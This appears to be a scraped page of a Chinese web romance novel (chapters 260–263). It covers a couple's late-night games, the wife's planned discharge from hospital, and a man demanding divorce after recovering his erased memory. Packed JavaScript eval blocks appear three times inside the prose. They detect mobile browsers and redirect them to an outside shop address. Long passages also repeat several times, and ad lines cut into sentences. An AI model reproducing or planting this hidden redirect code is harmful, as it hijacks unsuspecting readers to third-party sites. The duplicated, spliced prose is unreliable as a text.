陆京洲看着她冥思苦想的样子,忍不住逗她,“想不出来了?要不要我给你点提示? “不要提示,我再想想,岑予衿咬着唇,突然眼睛一亮,“是不是碗柜?不对,也不对。 她又想了一会儿,实在想不出来,只好拉着陆京洲的袖子撒娇,“我想不出来啦,你告诉我答案嘛。 “答案是灶台,陆京洲笑着说,“以前的灶台有面没有口,有支撑的腿不会走,三餐做饭都要用到它,模样确实不算好看。 “原来是灶台呀,岑予衿恍然大悟,拍了拍自己的脑袋,“我怎么就没想到呢。好吧,我输了,你说要求吧。 陆京洲低头,在她唇上亲了一下,声音低沉带着磁性,“我的要求是,玩完这一局,就乖乖睡觉。 “啊?这怎么行!你完全是在钻空子。岑予衿不乐意了,嘟着嘴反驳,“我们才玩了两局,还没玩够呢。而且我真的不 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 困,你再陪我玩一会儿,就玩猜拳,就五局,好不好? 她拉着他的手,轻轻晃着,语气软得能掐出水来,“你看宝宝们睡得那么香,也不会吵到他们。我保证,就五局,五局之后不管输赢,我都乖乖闭眼睡觉,绝不闹你,行不行? 陆京洲看着她可怜巴巴的样子,实在狠不下心拒绝,只好点头,“就五局,不能再多了。 “好耶!岑予衿立刻兴奋起来,双手握拳,“石头剪刀布,一局定胜负,输的人还是答应对方一个要求。我先来,石头! 她伸出拳头,眼睛紧紧盯着陆京洲的手。 陆京洲无奈地笑了笑,伸出手,“布。 “啊,我输了!岑予衿懊恼地跺了跺脚,又立刻抬头看他,“你说吧,什么要求? “要求就是, “这算什么要求呀,岑予衿脸颊通红,却还是主动凑上去,在他唇上亲了一口,“好啦,下一局,我一定赢你! 第二局,岑予衿出了剪刀,陆京洲出了石头,她又输了。 “怎么又输了!岑予衿有点不服气,“你是不是故意让着我?不对,是我运气不好。再来! 第三局,岑予衿出了布,陆京洲出了剪刀,她还是输了。 “哎呀!岑予衿气鼓鼓地看着他,“你是不是**了?怎么每次都能赢我? “是你自己运气不佳,陆京洲笑着捏了捏她的脸,“愿赌服输,我的要求还是亲我一下。 岑予衿只好又凑上去亲他,这次亲得格外用力,像是在发泄自己的不满。 第四局,岑予衿铆足了劲,出了石头,陆京洲出了剪刀,她终于赢了! “我赢啦!我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17141930|191758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赢啦!岑予衿兴奋地拍手,眼睛亮晶晶的,“轮到我提要求了!我要你抱着我,跟我说一句好听的情话。 陆京洲将她紧紧搂在怀里,下巴抵着她的发顶,声音温柔得能滴出水来,“笙笙,有你和宝宝们在,就是我这辈子最大的幸福。 岑予衿心里甜滋滋的,往他怀里又拱了拱,满足地叹了口气,“真好听,再来一句。 “我爱你,笙笙,胜过世间万物。陆京洲在她耳边轻声说,气息拂过她的耳廓,带着温热的触感。 岑予衿脸颊发烫,心跳加速,却还是不满足,“还要一句。 “以后的每一天,我都会陪着你,护着你,不让你受一点委屈。 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 ”陆京洲低头,看着她泛红的脸颊,眼底满是宠溺,“这样够了吗?” “够啦!”岑予衿笑着点头,主动在他唇上亲了一下,“最后一局,决一胜负!” 最后一局,岑予衿出了剪刀,陆京洲出了布,她又赢了。 “我又赢啦!”岑予衿得意地扬了扬下巴,“这次我的要求是,你再陪我玩一局,就一局!” “你耍赖,”陆京洲无奈地看着她,“说好的五局,现在已经五局了。” “就再玩一局嘛,”岑予衿拉着他的手,轻轻晃着,撒娇道,“我刚才赢了两局,还没玩够呢。就一局,真的就一局,玩完我一定睡觉,不然我就……我就一直跟你撒娇。” 陆京洲看着她耍赖的样子,实在没辙,只好妥协,“最后一局,不能再讨价还价了。” “好!”岑予衿立刻答应,双手握拳,“石头剪刀布!” 这一局,岑予衿出了石头,陆京洲也出了石头,平局。 “平局,再来一次!”岑予衿立刻说道。 第二次,岑予衿出了布,陆京洲也出了布,还是平局。 “再来!”岑予衿兴致勃勃。 第三次,岑予衿出了剪刀,陆京洲出了石头,她输了。 “好吧,我输了,”岑予衿虽然有点不甘心,但还是遵守承诺,“那我乖乖睡觉啦。” 她往陆京洲怀里缩了缩,闭上眼睛,却又很快睁开,看着他,“阿洲,你要一直抱着我睡。” “好,一直抱着你,”陆京洲轻轻拍着她的后背,“睡吧。” 岑予衿点点头,却还是忍不住凑上去,在他唇上亲了一下,声音软糯,“晚安,阿洲。” “晚安,笙笙。”陆京洲低头,在她发间落下一个温柔的吻。 陆京洲回家的时候就已经不早了。 再加上还吃了宵夜,还陪她玩了游戏,这会已经凌晨了。 她有些坚持不住了,眼皮在打架。 岑予衿终于妥协了,靠在他怀里,听着他沉稳的心跳声,鼻尖萦绕着他熟悉的气息。 刚才玩游戏的兴奋渐渐褪去,困意慢慢袭来。 她嘴角带着满足的笑意,眼皮越来越沉重,最后终于沉沉睡去。 陆京洲低头看着她熟睡的容颜,眼底满是温柔和宠溺。 他轻轻调整了一下姿势,让她睡得更舒服些。 确定她睡着了之后,小心翼翼的松开她,把两个小孩抱起来,放回婴儿房的小床上。 让两个月嫂照顾。 要不然晚上哭闹会影响她。 到要喂奶的时间,月嫂才会把孩子抱过来给她喂。 第261章 我做错了什么你要跟我离婚? 岑予衿这一觉睡得很沉,直到第二天上午,窗外的阳光透过薄纱窗帘,暖暖地洒在她脸上,才悠悠转醒。 身边的位置已经空了,但被窝里还残留着他的温度和气息。 她伸了个懒腰,感觉精神好了许多,身体似乎也比昨天更有力气了。 “醒了?”低醇温柔的声音从门口传来。 陆京洲端着一杯温水走进来,他已经换下了昨天的西装,穿着舒适的浅灰色家居服。 头发也有些随意地散落额前,少了些商场上的凌厉,多了几分居家的柔和。 “嗯,”岑予衿坐起身,接过他递来的水喝了一口,润了润嗓子,“宝宝们呢?” “月嫂刚喂完奶,现在在小床里晒太阳呢,睡得很香。” 陆京洲在床边坐下,伸手理了理她睡得有些凌乱的长发,“饿不饿?早餐想吃什么?厨房炖了燕窝粥,还有你昨天点名要的煎蛋。” 岑予衿眼睛一亮,“要吃煎蛋!要你煎的!” “好。”陆京洲笑着应下,又补充道,“医生说,你恢复得不错,各项检查指标都很好。如果没什么问题,明天就可以出院了。” “明天?!”岑予衿惊喜地抓住他的手,“真的吗?可以回家了?” 在医院住了这些天,虽然VIP病房条件很好,但总归没有家里舒服自在。 她早就想带着宝宝们回他们自己的小窝了。 “嗯,真的。”陆京洲点头,眼中也带着轻松的笑意。 “家里都准备好了,婴儿房,你的房间,还有专门的产后护理团队会定期上门。奶奶也说,等你出院,要亲自过来看看你和宝宝们。” 听到奶奶,岑予衿心里微微一紧,想到老宅昨天发生的事,轻声问,“奶奶……她还好吗?” 陆京洲握紧她的手,语气沉稳,“别担心,奶奶比我们想象的要坚强。事情已经发生,她会慢慢接受。而且,她现在更关心你和宝宝们,说过去的事情就让它过去,陆家的未来在我们和下一代身上。” 岑予衿松了口气,点点头。 她知道,有些伤痛需要时间愈合,但生活总要向前看。 接下来的时间,岑予衿心情格外雀跃。 一想到明天就能回家,连带着看病房都觉得顺眼了许多。 陆京洲亲自下厨给她做了早餐,果然有她心心念念的、煎得恰到好处的太阳蛋。 她吃得满足,脸上一直挂着笑。 下午,医生又来做了一次详细的检查,确认她和 宝宝们的状态都非常稳定,完全可以出院。 护士送来了一叠出院注意事项和预约复查的单据,陆京洲仔细地一一收好。 傍晚时分,月嫂将两个吃饱喝足、穿着崭新柔软小衣服的宝宝抱了过来。 哥哥穿着淡蓝色的小连体衣,妹妹穿着粉色的,两个小家伙皮肤白皙,眼睛乌溜溜的,不哭不闹,好奇地看着爸爸妈妈。 岑予衿抱着女儿,陆京洲抱着儿子,两人并肩坐在窗边的沙发上,夕阳的余晖将他们笼罩,画面温馨得令人心动。 陆京洲又悄悄用手机拍下了这一刻,他已经习惯了记录她的点点滴滴。 他的手机相册里不知不觉全都变成了她。 “明天,我们就带你们回家。” 岑予衿低头,轻轻蹭了蹭女儿娇嫩的脸颊,声音温柔似水。 陆京洲看着怀里儿子酷似自己的眉眼,再看看身边心爱的妻子和女儿,只觉得胸口被某种饱胀的幸福填满。 他伸出手,将岑予衿和女儿也一同揽入怀中,低声承诺,“嗯,回家。我们的家。” 同一层VIP病房内! 周家所有人都来在,林家的人也都在。 林舒薇的眼睛哭的肿肿的,像是受了天大的委屈。 周时越跪在病房中间,脊背挺的笔直,没有半点要弯下来的意思。 “我做错了什么你要跟我离婚?哪怕还是月子期间,也不管不顾的要和我离婚。” 林舒薇的情绪,逐渐激动,将头顶的枕头狠狠的砸在他身上,“周时越你的良心呢?” “你不是说过不论有没有恢复记忆,喜欢的就只有我一个,现在为什么会变成这样?” 她的声音变得尖锐,显然是崩溃到了极致。 “是因为岑予衿那个**是不是?我就知道是因为那个**你才会这么对我。” 周时越听到她说岑予衿脸上的表情立马就变了,不再是面无表情,一记眼刀狠狠扫了过去。 丝毫没把房间里的长辈放在眼里,声音含着怒意,“这是我们之间的事情,你没必要东扯西扯!” 宝宝们的状态都非常稳定,完全可以出院。 护士送来了一叠出院注意事项和预约复查的单据,陆京洲仔细地一一收好。 傍晚时分,月嫂将两个吃饱喝足、穿着崭新柔软小衣服的宝宝抱了过来。 哥哥穿着淡蓝色的小连体衣,妹妹穿着粉色的,两个小家伙皮肤白皙,眼睛乌溜溜的,不哭不闹,好奇地看着爸爸妈妈。 岑予衿抱着女儿,陆京洲抱着儿子,两人并肩坐在窗边的沙发上,夕阳的余晖将他们笼罩,画面温馨得令人心动。 陆京洲又悄悄用手机拍下了这一刻,他已经习惯了记录她的点点滴滴。 他的手机相册里不知不觉全都变成了她。 “明天,我们就带你们回家。” 岑予衿低头,轻轻蹭了蹭女儿娇嫩的脸颊,声音温柔似水。 陆京洲看着怀里儿子酷似自己的眉眼,再看看身边心爱的妻子和女儿,只觉得胸口被某种饱胀的幸福填满。 他伸出手,将岑予衿和女儿也一同揽入怀中,低声承诺,“嗯,回家。我们的家。” 同一层VIP病房内! 周家所有人都来在,林家的人也都在。 林舒薇的眼睛哭的肿肿的,像是受了天大的委屈。 周时越跪在病房中间,脊背挺的笔直,没有半点要弯下来的意思。 “我做错了什么你要跟我离婚?哪怕还是月子期间,也不管不顾的要和我离婚。” 林舒薇的情绪,逐渐激动,将头顶的枕头狠狠的砸在他身上,“周时越你的良心呢?” “你不是说过不论有没有恢复记忆,喜欢的就只有我一个,现在为什么会变成这样?” 她的声音变得尖锐,显然是崩溃到了极致。 “是因为岑予衿那个**是不是?我就知道是因为那个**你才会这么对我。” 周时越听到她说岑予衿脸上的表情立马就变了,不再是面无表情,一记眼刀狠狠扫了过去。 丝毫没把房间里的长辈放在眼里,声音含着怒意,“这是我们之间的事情,你没必要东扯西扯!” 宝宝们的状态都非常稳定,完全可以出院。 护士送来了一叠出院注意事项和预约复查的单据,陆京洲仔细地一一收好。 傍晚时分,月嫂将两个吃饱喝足、穿着崭新柔软小衣服的宝宝抱了过来。 哥哥穿着淡蓝色的小连体衣,妹妹穿着粉色的,两个小家伙皮肤白皙,眼睛乌溜溜的,不哭不闹,好奇地看着爸爸妈妈。 岑予衿抱着女儿,陆京洲抱着儿子,两人并肩坐在窗边的沙发上,夕阳的余晖将他们笼罩,画面温馨得令人心动。 陆京洲又悄悄用手机拍下了这一刻,他已经习惯了记录她的点点滴滴。 他的手机相册里不知不觉全都变成了她。 “明天,我们就带你们回家。” 岑予衿低头,轻轻蹭了蹭女儿娇嫩的脸颊,声音温柔似水。 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她的声音变得尖锐,显然是崩溃到了极致。 “是因为岑予衿那个**是不是?我就知道是因为那个**你才会这么对我。” 周时越听到她说岑予衿脸上的表情立马就变了,不再是面无表情,一记眼刀狠狠扫了过去。 丝毫没把房间里的长辈放在眼里,声音含着怒意,“这是我们之间的事情,你没必要东扯西扯!” 宝宝们的状态都非常稳定,完全可以出院。 护士送来了一叠出院注意事项和预约复查的单据,陆京洲仔细地一一收好。 傍晚时分,月嫂将两个吃饱喝足、穿着崭新柔软小衣服的宝宝抱了过来。 哥哥穿着淡蓝色的小连体衣,妹妹穿着粉色的,两个小家伙皮肤白皙,眼睛乌溜溜的,不哭不闹,好奇地看着爸爸妈妈。 岑予衿抱着女儿,陆京洲抱着儿子,两人并肩坐在窗边的沙发上,夕阳的余晖将他们笼罩,画面温馨得令人心动。 陆京洲又悄悄用手机拍下了这一刻,他已经习惯了记录她的点点滴滴。 他的手机相册里不知不觉全都变成了她。 “明天,我们就带你们回家。” 岑予衿低头,轻轻蹭了蹭女儿娇嫩的脸颊,声音温柔似水。 陆京洲看着怀里儿子酷似自己的眉眼,再看看身边心爱的妻子和女儿,只觉得胸口被某种饱胀的幸福填满。 他伸出手,将岑予衿和女儿也一同揽入怀中,低声承诺,“嗯,回家。我们的家。” 同一层VIP病房内! 周家所有人都来在,林家的人也都在。 林舒薇的眼睛哭的肿肿的,像是受了天大的委屈。 周时越跪在病房中间,脊背挺的笔直,没有半点要弯下来的意思。 “我做错了什么你要跟我离婚?哪怕还是月子期间,也不管不顾的要和我离婚。” 林舒薇的情绪,逐渐激动,将头顶的枕头狠狠的砸在他身上,“周时越你的良心呢?” “你不是说过不论有没有恢复记忆,喜欢的就只有我一个,现在为什么会变成这样?” 她的声音变得尖锐,显然是崩溃到了极致。 “是因为岑予衿那个**是不是?我就知道是因为那个**你才会这么对我。” 周时越听到她说岑予衿脸上的表情立马就变了,不再是面无表情,一记眼刀狠狠扫了过去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“你不是说过不论有没有恢复记忆,喜欢的就只有我一个,现在为什么会变成这样?” 她的声音变得尖锐,显然是崩溃到了极致。 “是因为岑予衿那个**是不是?我就知道是因为那个**你才会这么对我。” 周时越听到她说岑予衿脸上的表情立马就变了,不再是面无表情,一记眼刀狠狠扫了过去。 丝毫没把房间里的长辈放在眼里,声音含着怒意,“这是我们之间的事情,你没必要东扯西扯!” 宝宝们的状态都非常稳定,完全可以出院。 护士送来了一叠出院注意事项和预约复查的单据,陆京洲仔细地一一收好。 傍晚时分,月嫂将两个吃饱喝足、穿着崭新柔软小衣服的宝宝抱了过来。 哥哥穿着淡蓝色的小连体衣,妹妹穿着粉色的,两个小家伙皮肤白皙,眼睛乌溜溜的,不哭不闹,好奇地看着爸爸妈妈。 岑予衿抱着女儿,陆京洲抱着儿子,两人并肩坐在窗边的沙发上,夕阳的余晖将他们笼罩,画面温馨得令人心动。 陆京洲又悄悄用手机拍下了这一刻,他已经习惯了记录她的点点滴滴。 他的手机相册里不知不觉全都变成了她。 “明天,我们就带你们回家。” 岑予衿低头,轻轻蹭了蹭女儿娇嫩的脸颊,声音温柔似水。 陆京洲看着怀里儿子酷似自己的眉眼,再看看身边心爱的妻子和女儿,只觉得胸口被某种饱胀的幸福填满。 他伸出手,将岑予衿和女儿也一同揽入怀中,低声承诺,“嗯,回家。我们的家。” 同一层VIP病房内! 周家所有人都来在,林家的人也都在。 林舒薇的眼睛哭的肿肿的,像是受了天大的委屈。 周时越跪在病房中间,脊背挺的笔直,没有半点要弯下来的意思。 “我做错了什么你要跟我离婚?哪怕还是月子期间,也不管不顾的要和我离婚。” 林舒薇的情绪,逐渐激动,将头顶的枕头狠狠的砸在他身上,“周时越你的良心呢?” “你不是说过不论有没有恢复记忆,喜欢的就只有我一个,现在为什么会变成这样?” 她的声音变得尖锐,显然是崩溃到了极致。 “是因为岑予衿那个**是不是?我就知道是因为那个**你才会这么对我。” 周时越听到她说岑予衿脸上的表情立马就变了,不再是面无表情,一记眼刀狠狠扫了过去。 丝毫没把房间里的长辈放在眼里,声音含着怒意,“这是我们之间的事情,你没必要东扯西扯!” 宝宝们的状态都非常稳定,完全可以出院。 护士送来了一叠出院注意事项和预约复查的单据,陆京洲仔细地一一收好。 傍晚时分,月嫂将两个吃饱喝足、穿着崭新柔软小衣服的宝宝抱了过来。 哥哥穿着淡蓝色的小连体衣,妹妹穿着粉色的,两个小家伙皮肤白皙,眼睛乌溜溜的,不哭不闹,好奇地看着爸爸妈妈。 岑予衿抱着女儿,陆京洲抱着儿子,两人并肩坐在窗边的沙发上,夕阳的余晖将他们笼罩,画面温馨得令人心动。 陆京洲又悄悄用手机拍下了这一刻,他已经习惯了记录她的点点滴滴。 他的手机相册里不知不觉全都变成了她。 “明天,我们就带你们回家。” 岑予衿低头,轻轻蹭了蹭女儿娇嫩的脸颊,声音温柔似水。 陆京洲看着怀里儿子酷似自己的眉眼,再看看身边心爱的妻子和女儿,只觉得胸口被某种饱胀的幸福填满。 他伸出手,将岑予衿和女儿也一同揽入怀中,低声承诺,“嗯,回家。我们的家。” 同一层VIP病房内! 周家所有人都来在,林家的人也都在。 林舒薇的眼睛哭的肿肿的,像是受了天大的委屈。 周时越跪在病房中间,脊背挺的笔直,没有半点要弯下来的意思。 “我做错了什么你要跟我离婚?哪怕还是月子期间,也不管不顾的要和我离婚。” 林舒薇的情绪,逐渐激动,将头顶的枕头狠狠的砸在他身上,“周时越你的良心呢?” “你不是说过不论有没有恢复记忆,喜欢的就只有我一个,现在为什么会变成这样?” 她的声音变得尖锐,显然是崩溃到了极致。 “是因为岑予衿那个**是不是?我就知道是因为那个**你才会这么对我。” 周时越听到她说岑予衿脸上的表情立马就变了,不再是面无表情,一记眼刀狠狠扫了过去。 丝毫没把房间里的长辈放在眼里,声音含着怒意,“这是我们之间的事情,你没必要东扯西扯!” 第262章 我说了我会给你补偿 林舒薇突然就笑了,笑着笑着眼泪都出来了,“我生刚生了孩子,孩子没足月,是摔了一跤,早产的,还大出血了,一只脚踏进鬼门关,现在还没缓过来,你要跟我离婚?是吗?” 家里的地板,每天都被擦的干干净净。 周时越和周家的人很在意这些细节,绝对不可能出问题。 也不知道怎么了,地板上突然多了一大摊水渍,家里那么多佣人,居然一个人也没发现。 导致她因为地板太滑,加上孕晚期肚子有点大,行动不方便,踩到水直接滑倒,从楼梯上摔了下来。 羊水破了,有了早产迹象。 明明家里那么多人,那天却一个都不在,被家里的佣人发现,已经是5分钟以后的事儿了。 “对,我要跟你离婚,不论如何,这婚我离定了。” 林舒薇听到这句话像是第一次认识他,眼里除了震惊,再没其他,“现在还在坐月子,宝宝还躺在保温箱里,我还没来得及看见他一面,你就要跟我离婚,周时越你对得起我吗?” “我说了我会给你补偿!” 林舒薇的眼泪越流越凶,声音哽咽,“离婚……哪怕是离婚,我也不会把宝宝给你!” “孩子我本来就不要,该给的抚养费我会给,我要的只有离婚。” 何翠玲人都傻了,只觉得儿子是被夺舍了。 明明前几天还好好的。 今年是他们过的最舒坦的一年。 不喜欢的儿媳妇儿嫁人了,儿子回来还恰好失忆了,失忆就算了谁都没忘,偏偏忘记了那个讨人厌的儿媳妇。 还给她带回来一个长得又漂亮家世又好,门当户对的儿媳妇。 现在还给他们老周家生了一个大胖小子。 这简直就是祖坟冒青烟的大好事儿,现在儿子居然要离婚,离婚就算了,还不要她大孙子。 老天爷呀,又是造了什么孽? “儿子呀!你少说两句吧,薇薇刚生完孩子,有什么事情咱们出了院慢慢说,让薇薇好好养养身子。” 说着就去扶跪在地上的儿子想要将他扶起来,这地上跪着挺凉的,自己的儿子,别人不心疼,自己还心疼呢。 周时越扶开了她的手,“妈这是我们之间的事儿,不用你们管。” 周建成看了一眼亲家林建业的脸色不太好看,心里也没来由的慌。 现在周家很多项目都是林氏注资的,要是林氏一生气撤资了,那周家可就完蛋了。 “时越,你是糊涂 你的朋友正在书荒,快去帮帮他吧 了吧?怎么跟你媳妇儿说话的,快给薇薇道歉,不管你们小两口之间有什么矛盾,相互道个歉就没事儿,别把事情闹大。 周时越听着父母的话,只觉得讽刺,他们从来不会为他考虑,不过他的死活。 他是他们的亲生儿子尚且如此,那……他老婆呢? 他不在的这三年,他们又是怎么打压折磨她的? 她得受了多少苦,多少委屈呀? 不论如何,为了她也好,为了自己也罢,这婚必须得离。 这就是一个错误的开端,他要亲手把这个错误了结。 把一切拖回正轨上。 林建业看着女儿投来求救的目光,就知道那没出息的,肯定不想离婚。 看着她哭的梨花带雨的模样,自己也跟着心疼。 毕竟是自己从小宠着长大捧在掌心里的千金小姐,想要什么没有得到。 从小到大还没有受过这样的委屈,自己也见不得她这样。 说实话,以她的条件,在m国找个什么样的男人没有? 没必要非盯着周时越不放。 周时越身上他已经浪费了太多的时间精力。 沉船之后打捞上来,他伤的很严重,却也没有失忆。 他的记忆是被硬生生篡改的。 她女儿也是个死心眼的,就认定他了,这辈子非他不嫁。 他能有什么办法,让人研制失忆的药,并且保证永远不复发。 那要有一个特殊的点,对于最深的记忆,最爱最不想忘记的人,反而会忘得更深,忘得更彻底。 所以……他忘记了他的老婆岑予衿,也让他们有了可乘之机。 没想到他的意志力还挺强的,渐渐的居然全都想起来了,想起了自己的父母。 成功的回国了。 回国之后,他也提醒过自己闺女,要是实在不行就又给他下一剂猛药,让他一次性忘记。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17145354|191758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 一辈子都记不起来才能永绝后患。 她就担心那药有副作用,死活不给他用,现在好了。 按照面前这架势来看,估计是全都想起来了,包括他的前妻岑予衿。 “周时越,当时你们俩在国外要谈恋爱的时候,我就告诫过你们,是你们非要在一起的,现在才过了多久,你就做出这样的事情,要离婚可以,说清楚究竟是怎么回事儿? “是我女儿犯了什么滔天大错,还是你移情别恋了? 林建业是黑白两道通吃的人物,自然不把这种小喽喽,“你放心, 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 如果你真的想离婚,那就做好周家掉层皮的打算,我不会就这么轻易放过你们。” 他这话是赤裸裸的威胁。 周建成和何翠玲都有些不开心了,谁家的孩子都是自家的心头肉,这么说谁能开心的起来? 再说了,他儿子这条件哪怕是离婚,又不是找不到其他人了。 就是因为被陆家打压,这才沦落到仰仗他们鼻息的程度,要不然哪有这个必要啊。 可现在终归是要看别人脸色行事,只能是先委屈一下自己儿子了。 “阿越,好好的跟薇薇和你岳父道个歉,这件事情是你糊涂了,你看薇薇为了给你生宝宝,受了多少苦啊?咱们做人可得讲良心。” “或者是到底发生了什么事情,你好好跟妈说说,妈妈给你评评理。” 何翠玲只想轻松平常的接过这件事情,并不想让他们离婚,只能在中间当和事佬。 林舒薇见双方的父母都偏向自己,心里暗自松了一口气。 说实话,这件事情也怪自己,要是当初给他下了那剂猛药,现在他还不是对她唯命是从。 怪自己狠不下心。 不过……现在再次失忆也不晚。 完全来得及。 周时越这辈子都别想离开他。 “阿越,我刚才说的都是气话,你先起来好不好,有什么话我们俩慢慢说,像妈说的,夫妻之间有矛盾都是正常的,解决清楚就好了。” 她的声音里满是委屈,眼泪汪汪的看着他,先给了他台阶,就想让他顺着台阶往下走。 第263章 岑予衿就是我的命 林建业简直恨铁不成钢,要不是是自己亲生的不能打,他真想撬开她脑子看看,她的脑容量到底有多少? 这男人就真的非要不可吗,离了这男人她就真的活不下去了吗? 不懂! 周建成也开口劝,“周时越差不多行了,儿科那边说了,今天要去那边看孩子,薇薇行动不方便,这些事情你该承担就得承担起来。” 说着又去拉他,“我不管你着了什么魔,现在给我起来,跟我去看孩子去。” 周时越甩开了他的手,跪在地上朝着林建业走方向磕了个头,“爸,这些年,谢谢你的栽培,要是没有你也不会有现在的我。” 听到他这话,所有人都松了口气。 这就对了嘛。 他们刚才说的那么多,没有白费。 他这态度应该也是顺着林舒薇的台阶走下来了。 林建业刚松了一口气,想着既然他们要好好过日子,那他也不过多干涉,想要将他从地上扶起来。 可是手还没扶到他手上呢,周时越又开了口。 “但是离婚这件事情没得第二条路,这婚必须离。” 这话说出来,房间里一下子变得寂静无声。 没开玩笑,连大气都不敢喘了。 话落,周时越没在看任何人的脸色,上一秒还跪在地上认真的认错,下一秒就站了起来。 眼神坚定,语气认真,“离婚这件事情我是认真的,今天把所有人聚在这儿是通知你们要离婚了,不是让你们来劝我不要离婚。” 周时越的语气没有半分波澜,更没有一点愧疚,“离婚协议我已经拟好了,里面的所有条款都有利于女方,有什么不满意的,可以直接和我的律师谈。” 所有人都没有意识到他会这么说,震惊的半天说不出一句话。 林建业的脸一阵青一阵白,没忍住直接一巴掌甩在了他的脸上。 他用了十足十的力,头被打偏到另一边,嘴角立刻伸出了血迹。 林舒薇都惊呆了,没想到自己父亲会动手,惊叫着从床上坐了起来,也不管自己还输着液。 “爸,您这是干什么?” “林舒薇你到现在了还护着他,他都要跟你离婚了,你还护着他,你就这么非他不可吗?离了他你就嫁不出去了。” 林建业也是心累,“我告诉你,这种人就是打的不够,要不然也不会在这个阶段跟你离婚。” 同一时间,何翠玲以及心疼的上前抱住了儿子,声音哽咽,“时越,到 底发生了什么你跟妈说,这好端端的……就非要离婚吗?” “是不是真像薇薇说的,岑予衿那个小**给你下了什么**汤了……” 周时越挣脱开了母亲的束缚,用拇指将嘴角的血迹擦掉,眼神冷的像冰。 那样子根本就不像在看自己的亲生母亲,像是在看一个仇人。 何翠玲也被惊到了,下意识的往后退了半步。 她从来没有见过这样的儿子。 “妈,我不在的这三年,您就是这么对她的吗?” 何翠玲一时间还没反应过来,他说的是什么,眉头皱的紧紧的。 “阿越你在说什么,我听不懂。” “我说衿衿,您不用跟我在这儿装疯卖傻,我不在的这段时间,您就是这么对她的,对不对?” 何翠玲的心咯噔一下。 他……他这是突然恢复记忆了吗? 不过也是,如果没有恢复记忆,他绝对不可能是这样的态度。 看着他一时间不知道该说什么。 还是周建成开了口,“我们是怎么对她的重要吗?事情已经过去了,现在我们已经给她找好了婆家,她已经过得很幸福了,你要做的不是揪着过去不放,是向前看!” 周时越像是被触碰到了什么逆鳞,声音愈发的大,“不重要?怎么不重要,很重要,这对我来说很重要,我从来没有想过我的父母会容不下她。” 周时越的视线冷冷的扫过一大家子人,更加坚定了自己的决心,“她本来就没什么朋友,更没什么家人了,以前的事情是我对不起她,我要补偿她,我要亲手将一切拉回正轨。” 林舒薇没想到事情会闹到这个地步。 更没想到他说离婚是真的要离婚。 她的情绪更加激动,声音更加崩溃。 “可是回不去了,你们之间早就回不去了,她已经不爱你了,你不知道吗?” 周时越的目光陡然沉了下去,像是淬了毒的刀,直直剜在林舒薇脸上,声音冷得像冰,却又带着一股近乎疯狂的执念。 “回不去?我告诉你,只要她还活着,只要她还在这个世上,我就有机会!” 他猛地向前一步,逼近林舒薇,眼底翻涌着猩红的绝望。 “我怕她被人抢走,怕她再受一点委屈,怕她永远都不记得,曾经有个叫周时越的人,为了她可以放弃一切!” 他自嘲的笑了笑,“只要我们离婚了,你回了M国,完全消失在我的世界里,我就依然还有机会。” “就算让我当她的情人,当她的备胎,当她身边最不起眼的影子,我都愿意!” 周时越的声音陡然拔高,带着一种破釜沉舟的决绝,“只要能留在她身边,只要能让她多看我一眼,就算是见不得光,就算是被人唾骂,我都不在乎!” 他的手指死死攥着拳头,指节泛白,像是要将自己的血肉捏碎。 “我知道,我知道我没资格,我知道我欠她的太多,我知道她可能永远都不会原谅我……” 他猛地低下头,声音里带着压抑到极致的哽咽,“可我不能放弃,我不能让她就这么从我的生命里消失!” “她是我的命,是我活下去的唯一理由!”周时越的声音陡然变得狠戾,像是一头被激怒的野兽。 “林舒薇,你以为你赢了吗?你以为你能永远霸占着她的位置吗?你错了!只要我还有一口气,只要我还能呼吸,我就会拼尽全力,把她抢回来!” 他猛地转身,目光扫过一屋子人,眼神里的冰冷和决绝让所有人都不寒而栗。 “从今天起,我周时越,只为岑予衿而活!谁要是敢挡我的路,谁要是敢再伤害她一根手指头,我不介意让他尝尝,什么叫生不如死!” 说完,他猛地推开病房门,身影消失在走廊尽头,只留下一屋子人在原地。 或震惊,或恐惧,或愤怒,只剩下林舒薇崩溃的哭声和何翠玲压抑的啜泣,在寂静的空气里无限放大。 “就算让我当她的情人,当她的备胎,当她身边最不起眼的影子,我都愿意!” 周时越的声音陡然拔高,带着一种破釜沉舟的决绝,“只要能留在她身边,只要能让她多看我一眼,就算是见不得光,就算是被人唾骂,我都不在乎!” 他的手指死死攥着拳头,指节泛白,像是要将自己的血肉捏碎。 “我知道,我知道我没资格,我知道我欠她的太多,我知道她可能永远都不会原谅我……” 他猛地低下头,声音里带着压抑到极致的哽咽,“可我不能放弃,我不能让她就这么从我的生命里消失!” “她是我的命,是我活下去的唯一理由!”周时越的声音陡然变得狠戾,像是一头被激怒的野兽。 “林舒薇,你以为你赢了吗?你以为你能永远霸占着她的位置吗?你错了!只要我还有一口气,只要我还能呼吸,我就会拼尽全力,把她抢回来!” 他猛地转身,目光扫过一屋子人,眼神里的冰冷和决绝让所有人都不寒而栗。 